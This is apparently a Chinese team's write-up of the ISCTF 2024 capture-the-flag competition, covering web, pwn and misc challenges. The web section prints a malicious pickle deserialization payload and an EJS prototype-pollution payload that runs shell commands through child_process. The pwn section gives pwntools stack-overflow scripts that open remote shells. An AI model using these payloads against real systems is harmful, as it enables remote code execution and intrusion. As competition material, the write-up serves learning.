我们封装一个Payload生成base64之后的字符串,并将生成的字符串在Web页面添加,然后可以获取到flag

import pickle
import base64


class Malicious:
    def __reduce__(self):
        return (eval, ('eval(__import__("base64").b64decode("bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp").decode())',))


malicious_data = pickle.dumps(Malicious())
print(base64.b64encode(malicious_data).decode())
gASViQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxtZXZhbChfX2ltcG9ydF9fKCJiYXNlNjQiKS5iNjRkZWNvZGUoImJtVjNjMnhwYzNRdVkzSmxZWFJsWDI1bGQzTW9OaXdnYjNCbGJpZ2lMMlpzWVdjaUtTNXlaV0ZrS0NrcCIpLmRlY29kZSgpKZSFlFKULg==

添加时会提示错误,此时忽略即可,代码已经执行完了,返回上一个页面直接刷新即可。


9. ezejs

打开代码附件,映入眼帘的就是标记好的backdoor

// backdoor
app.post('/UserList',(req,res) => {
    user = req.body
    const blacklist = ['\\u','outputFunctionName','localsName','escape']
    const hacker = JSON.stringify(user)
    for (const pattern of blacklist){
        if(hacker.includes(pattern)){
          res.status(200).json({"message":"hacker!"});
          return 
    } 
}
    copy(users,user);
    res.status(200).json(user);
});

黑名单检查后会执行copy函数,我们再看一下copy函数。

function copy(object1, object2) {
  for (let key in object2) {
    if (key in object2 && key in object1) {
      copy(object1[key], object2[key]);
    } else {
      object1[key] = object2[key];
    }
  }
}

copy会将所有传入的内容全部传给users这个对象。

const blacklist = ['\\u','outputFunctionName','localsName','escape']

由于blacklist禁用掉了很多函数(甚至也禁用掉了Unicode标准符号),我们需要另寻他法执行RCE.同时,感谢黑名单提醒我该如何完成这道题(没有黑名单我根本不知道RCE这个思路)

我们尝试在render处打断点,当GET localhost/后一步一步查看。

我们可以尝试使用outputFunctionName并列的destructuredLocals实现远程执行命令。opts.destructuredLocals[i]使用的是数组,所以我们要使用数组的方式传入。根据代码结构,我们准备如下示例字符串。

a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2

完整的数据就是:

{
    "__proto__": {
        "destructuredLocals": [
            "a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
        ]
    }
}

我们将上述字符串发给/UserList,然后请求/,可以顺利打开计算器。

现在,我们只要据此修改Payload,使用替换命令将/flag复制替换掉模板的index.ejs即可。

a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2
{
    "__proto__": {
        "destructuredLocals": [
            "a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2"
        ]
    }
}

将以上JSON发给/UserList,然后请求两次/(一遍是为了让命令运行生效,一遍是为了获取flag),可以顺利获得flag.


四. PWN

1. Netcat

直接nc即可


2. girlfriend

打开IDA,并分析代码。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
  char s1[8]; // [rsp+28h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("welcome to isctf2024");
  puts("first i need your team id");
  read(0, buf, 0x30uLL);
  if ( strcmp(s1, "admin") )
  {
    puts("no no no");
    exit(0);
  }
  puts("ok, go on");
  vuln();
  return 0;
}

遵循着有事先溢出的原则,buf可以储存40个字节。我们需要运行vuln()函数,编写以下Payload来绕过strcmp(s1, "admin")

payload = b'a' * 40 + b'admin'
connection.send(payload)

继续分析文件,发现可以溢出到0x000000000040121E这个位置来执行Shell

我们再来看一眼vuln()代码:

__int64 vuln()
{
  __int64 result; // rax
  __int64 i; // [rsp+28h] [rbp-8h]

  for ( i = 0LL; i <= 7; ++i )
  {
    printf("please input your %d girlfriend birthday\n", i + 1);
    result = __isoc99_scanf("%ld");
  }
  return result;
}

0x000000000040121E对应的十进制为4198932

通过栈溢出实现执行Shell,编写Payload脚本实现,以下是完整的Payload脚本。

from pwn import *
connection = remote('27.25.151.12', 31274)

payload = b'a' * 40 + b'admin'
connection.send(payload)

response_sequence = [b'1', b'1', b'3', b'3', b'4', b'5', b'6', b'4198942']

for response in response_sequence:
    connection.recvuntil(b'birthday')
    connection.sendline(response)

connection.interactive()

3. ez_game

你是温水,你得完成八奈见杏菜的游戏才能得到你想要的

附件内容:

解压 使用ida打开主程序

发现以下关键点

游戏的随机数种子固定为1

循环20001次即可触发getshell

通过搜索 Python拥有一个模块可以调用c函数 所以可以直接得到随机数排列

编写payload:

from pwn import *
import ctypes

p = remote("27.25.151.12", 29322)
platform.system() =='Linux'
libc = ctypes.cdll.LoadLibrary("./libc.so.6")

p.sendline(b"username")

for i in range(20001):
    p.sendline(str(libc.rand()%7+1))

p.interactive()

运行 拿到shell

cat flag 即可拿到flag


五. Misc

1. 小蓝鲨的签到02

strings直接秒 提交格式为ISCTF{} 去掉C字符


2. 数字迷雾:在像素中寻找线索

你将化身为像素侦探,穿梭于色彩斑斓的图片迷宫,用你的火眼金睛和编程魔法,揭开那些调皮像素点藏匿的秘密flag

附件:

使用zsteg扫描:

将最后的|改成} 直接得到flag


3. 游园地1

guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)

附件图片:

仔细观察:

图片中泄露了地点:中山公园

通过百度搜图:

最终flag为 ISCTF{湖北省_武汉市_江汉区_中山游乐园}


4. 游园地2

guoql又双叒出去玩了,作为一个老二次元,他当然要去圣地巡礼,你能找到这是什么地点吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地_圣地巡礼对应的游戏名称},如黑神话悟空

附件图片:

通过搜图,通过对比 直接得到游戏名与具体地点:

圣地巡礼直接找:

确定游戏名:

还在打折?出题人的阴谋?

最终flag是ISCTF{湖北省_武汉市_江汉区_充能国安路_恋爱绮谭}

具体地点好像是 鸣笛1988商业街 时间太久了忘记了 反正这俩有一个是

又是一道浓度超标的题(


5. 小蓝鲨的签到01

使用截图工具贴图功能 拼接二维码:

发送ISCTF2024


6. 小蓝鲨的问卷

完成问卷即可拿到flag


7. 少女的秘密花园

题目描述:在一个充满童趣和幻想的世界里,有一位可爱的少女,她的微笑藏着一个无法抗拒的秘密!这张图片并不仅仅是她的可爱面容,更是一个待解的谜题.准备好迎接挑战了吗?快来解锁这位魅力少女的秘密,让她的微笑为你指引方向!✨

首先 解压题目 得到一张图片 使用binwalk扫描:

发现拥有隐藏的文件:base_misc

通过7z打开 发现是压缩包格式 并且需要密码

通过暴力破解可知 密码为040714

解压得到以下内容

文件的开头部分 iVBORw0KGgoAAAANSUhEUgAABjMAAAYz... 类似于PNG图像的Base64编码格式

编写脚本,将base64解码 并转为hex值

import base64

def base64_to_hex(input_file, output_file):
    try:
        with open(input_file, 'r') as file:
            lines = file.readlines()
        
        with open(output_file, 'w') as file:
            for line in lines:
                line = line.strip()
                if line:  
                    try:
                        
                        decoded_bytes = base64.b64decode(line)
                        hex_string = decoded_bytes.hex()
                        file.write(hex_string + '\n')
                    except Exception as e:
                        print(f"无法解码行: {line},错误: {e}")
    except FileNotFoundError:
        print("输入文件未找到。")
    except Exception as e:
        print(f"发生错误: {e}")

input_file = 'flag.txt' 
output_file = 'output.txt'
base64_to_hex(input_file, output_file)

得到以下内容:

将hex值 放进winhex中 导出为png图片

发现宽高不正确 放入工具修改为正确宽高

得到以下内容

通过观察 发现每个字符都在6个格子内 猜测为盲文

解码后得到flag:


8. 赢!rar

打开压缩包大概浏览发现一个文件不对

解压需要密码查看注释发现密码为admin123456

解压后打开文件

后缀为++猜测为UUencode或者是XXencode

UUencode没有得到flag

在用XXencode时得到了flag

flag为 ISCTF{Beat_SfTian!!!!}


9. 老八奇怪自拍照

使用Stegsolve查看图片的通道

在蓝1 绿2 红5通道中发现下图问题

使用Stegsolve查看通道数据

选中红5绿2蓝1通道

发现其中藏着一张图片我们Save Bin一下

将得到的文件使用winhex查看 发现是个压缩包文件 改一下后缀解压得到其中的图片

老八可爱捏

查看图中图片的属性发现有一条信息

将图片放入虚拟机中使用工具解密

使用到Steghide工具时得到了flag.txt

打开得到了flag

flag为 ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}


10. File_Format

咦~ 小丽得到了一个文件,似乎只是套了一个壳子

附件:

file扫描 文件后缀应为exe

打开 发现为WINACE自提取程序

并且有密码保护

直接交给软件暴力破解 得到密钥:

得到flag


11. watermark

下载附件查看文件内容,可以看到flag标题的压缩包和两个key文件名的文件

打开flag.zip文件发现果然需要解压密码开始对key1 key2文件进行解密得到解压密码

打开key1.txt文件发现文件内有些违和的地方

得到key1

开始解密key2.png

将图片放到binwalk和foremost中并没有发现有隐藏的文件或者图片,根据题目猜测可能与水印有关

可以使用一个提取水印的工具blind_watermark

之后提取出来了一张图片可以看到key2也得到了

将前半段key1和key2结合在一起后解压flag.txt文件在文档中搜索ISCTF得到flag


12. 秘密

解压缩后得到一张图片将其放到kali中扫描字符串

得到一串password 为 ISCTF2024

通过名字可以想到Oursecret这个工具

将图片放到里面输入密码得到txt文件

打开发现是文本存在乱码

使用工具可以直接解出flag


13. 奇怪的txt

李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?

(这不约瑟夫环吗)

附件:

发现有137个txt 根据题目描述 每七个挑出 顺序就是这样:

def josephus_problem(n, k):
    dolls = list(range(1, n + 1))
    result = []
    index = 0

    while dolls:
        index = (index + k - 1) % len(dolls)  
        result.append(dolls.pop(index))    

    return result

n = 137 
k = 7  
result = josephus_problem(n, k)
print(result)

写一个脚本 将他们按顺序合并:

import os

file_order = [7, 14, 21, 28, 35, 42, 49, 56, 63, 70, 77, 84, 91, 98, 105, 112, 119, 126, 133, 3, 11, 19, 27, 36, 44, 52, 60, 68, 76, 85, 93, 101, 109, 117, 125, 134, 5, 15, 24, 33, 43, 53, 62, 72, 81, 90, 100, 110, 120, 129, 1, 12, 23, 34, 46, 57, 67, 79, 89, 102, 113, 123, 135, 9, 22, 37, 48, 61, 74, 87, 99, 114, 127, 2, 17, 31, 47, 64, 78, 94, 107, 122, 137, 18, 38, 54, 71, 88, 106, 124, 6, 26, 45, 66, 86, 108, 130, 13, 39, 59, 83, 111, 132, 25, 51, 80, 104, 136, 30, 65, 96, 128, 29, 69, 103, 8, 50, 95, 4, 55, 115, 20, 82, 10, 75, 16, 97, 41, 131, 118, 116, 121, 40, 92, 32, 58, 73]

def merge_files(file_order, output_file):
    with open(output_file, 'w', encoding='utf-8') as outfile:
        for number in file_order:
            file_name = f"{number}.txt"
            if os.path.exists(file_name):
                with open(file_name, 'r', encoding='utf-8') as infile:
                    outfile.write(infile.read())
                    outfile.write("\n")  
            else:
                print(f"文件 {file_name} 不存在,跳过。")

if __name__ == "__main__":
    merge_files(file_order, "merged_output.txt")
    print("文件合并完成!")

得到一个65MB大小的文件

发现== 猜测为base64加密 并且尝试 套了不止一次

使用脚本循环解码:

import base64

def decode_base64_loop(input_file, output_file):
    with open(input_file, 'r', encoding='utf-8') as infile:
        data = infile.read()

    while True:
        try:
            data = base64.b64decode(data).decode('utf-8')
        except (base64.binascii.Error, UnicodeDecodeError):
            break

    with open(output_file, 'w', encoding='utf-8') as outfile:
        outfile.write(data)

    print("解码完成,结果已保存到", output_file)

if __name__ == "__main__":
    decode_base64_loop("merged_output.txt", "decoded_output.txt")

直接得到flag:


14. 神秘ping

使用Winhex查看文件发现该文件为倒叙 Wireshark都是反的

从网上搜索反转文件的脚本

运行脚本得到一个名为1的文件

将其放入虚拟机中用发现可以用wireshark看

想到题目名字叫神秘ping,在网上搜索知道

通过这个知道应该把 icmp协议作为过滤

加上了过滤器后的命令写出来后

通过观察发现只有4种不同的数据 猜测可以像例题中改变成二进制的形式 开始尝试手动转换将数据从小到大用00 01 10 11代替

将这串二进制放到工具中解密得到flag

还真是藏在ttl里啊!!

flag为 ISCTF{h1De_1n_TtL}


15. 像素圣战

根据题目中的提示搜索了像素圣战和其英文名

搜索英文的名字时发现了一个网站与其同名

点进去发现需要选择一个图片 将像素圣战的图片提交进去

提交后发现需要密码

从图片中寻找密码没有发现 开始推测密码 发现ISCTF为密码 出来一串二进制的文本

将二进制的文本放到文本文档中后将其复制到工具中解密得到了flag

flag为 ISCTF{R3verse6_b1n4ry_l0l}


16. starry sky

使用winhex查看png文件将对应文本复制到浏览器中得到了一张图片

另存为图片后用winhex发现了XORKEY为FF

使用工具对名为XOR的文件进行XOR解密

将得到的文件放入winhex中查看发现是wav音频文件

更改扩展名后打开听到一串类似报文或者电波的声音使用特定的工具去接收

从得到的影像中得到的信息为 DESKey:YanHuoLG

打开压缩包中的flag.txt文件对其进行DES解密得到flag

flag为 ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}


留念


总结&感想

本次ISCTF算是我们入门CTF以来真正意义上的一场比赛

本次比赛难度并不是很大 乐趣很多 算是能打的动的一场比赛

能取得这样的成绩实属使我们没有想到

就这样,我们下个比赛再见!

Previous第四届网鼎杯 青龙组 Crypto02 WriteUPNext2024深育杯 攻防大赛 WP

Last updated 5 months ago

Was this helpful?

根据可以运算这道题。

(由于,此处使用提供的云端运行环境)

版本符合的限定版本。

中提供了此CVE的Payload,使用

我使用的工具解析的session,相关的使用方法可以在Github查看。

中写道,__reduce__会在创建对象时被调用,我们传入一个元组,包含可调用对象和可调用对象的参数。该方法会在被反序列化时被调用实现远程Shell的功能。

以下部分思路来自

猜测为文本隐水印将明文放到中进行解密

当然 也感谢平日里提供帮助的学长与老师们 也感谢提供的比赛平台

费马小定理
cocalc
CVE-2017-5941
Node.JS Remote Code Execution ≈ Packet Storm
noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
pickle --- Python 对象序列化 — Python 3.13.0 文档
从西湖Easyjs讨论nodejs引擎RCE - 先知社区
工具
小蓝鲨
秒出结果
真·脚下
MISC 16/18
最后的排行榜 定格